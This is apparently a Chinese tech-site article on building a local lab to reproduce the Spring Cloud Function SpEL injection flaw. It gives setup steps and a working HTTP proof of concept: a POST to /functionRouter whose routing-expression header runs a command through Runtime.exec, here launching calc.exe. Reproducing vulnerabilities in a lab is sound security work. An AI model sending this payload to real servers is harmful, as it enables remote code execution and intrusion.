Spring-Cloud-Function-Spel?漏洞環(huán)境搭建
1、漏洞環(huán)境搭建
由于漏洞出現(xiàn)在前兩天,原本等待vulhub出環(huán)境,直接docker 一鍵就ok了。但是這次vulhub好像不太及時。對于自己只能自己搭建環(huán)境了。
找了許久,終于在唐大佬的github中找到幾乎一鍵的方法。
參考鏈接:https://github.com/tangxiaofeng7/Spring-Cloud-Function-Spel 這里放原始鏈接以表示尊重。
無法上github的話,私信我。
搭建方法很簡單,先安裝maven jdk 等。大佬是jdk17 我本地下載最新版本18 也是ok
方法如下:下載代碼后,在解壓目錄cmd執(zhí)行 mvn spring-boot:run 會下載很多庫,需要耐心等待。成功后會開啟8080 端口。
漏洞poc極其簡單:
路徑最好使用funtionRouter,原因自查。此環(huán)境倒是任意路徑都ok。
POST /functionRouter HTTP/1.1
Host: 192.168.1.7:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
漏洞驗證:
到此這篇關(guān)于Spring-Cloud-Function-Spel 漏洞復現(xiàn)的文章就介紹到這了,更多相關(guān)Spring-Cloud-Function-Spel 漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
java中synchronized(同步代碼塊和同步方法)詳解及區(qū)別
這篇文章主要介紹了 java中synchronized(同步代碼塊和同步方法)詳解及區(qū)別的相關(guān)資料,需要的朋友可以參考下2017-02-02java中的Io(input與output)操作總結(jié)(一)
所謂IO,也就是Input與Output的縮寫。在java中,IO涉及的范圍比較大,這里主要討論針對文件內(nèi)容的讀寫,感興趣的朋友可以了解下2013-01-01mybatis自動生成@Table、@Column、@Id注解的方法
這篇文章主要介紹了mybatis自動生成@Table、@Column、@Id注解的方法,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2020-12-12